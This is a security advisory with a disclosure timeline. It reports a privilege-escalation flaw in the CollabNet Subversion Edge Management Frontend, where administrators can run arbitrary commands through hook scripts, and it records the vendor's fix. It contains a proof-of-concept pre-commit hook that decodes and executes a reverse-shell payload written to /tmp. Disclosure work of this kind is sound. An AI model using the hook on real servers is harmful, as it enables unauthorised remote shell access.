2014-10-09 Flaw Discovered 2014-10-20 Vendor contacted 2014-10-21 Vendor response 2014-12-08 Vendor fix proposal 2014-12-08 Extension of embargo to 19.4.2015 2015-05-04 Extension of embargo until release of version 5.0 2015-05-18 Release of version 5.0 and public disclosure
The CollabNet Subversion Edge Management Frontend allows authenticated administrators to escalate their privileges by creating and executing hook scripts. As a result they are able to execute arbitrary commands as the user the Management Frontend is running under without authenticating with valid credentials.
Add a pre commit hook with the following content: #!/bin/sh echo "$base64_encoded_reverseshell" | /usr/bin/base64 -d > /tmp/evil /bin/chmod +x /tmp/evil /tmp/evil exit 0
Edit a file of a SVN repository
Provide a configuration option inaccessible from the Web Gui that disables this feature.
Addtionally implement an authentication prompt that requires the administrator to authenticate as the user running (which is typically a service user) the management frontend web app for performing actions on hook scripts.
The hook script editor is now disabled by default. It is enabled via the security.properties file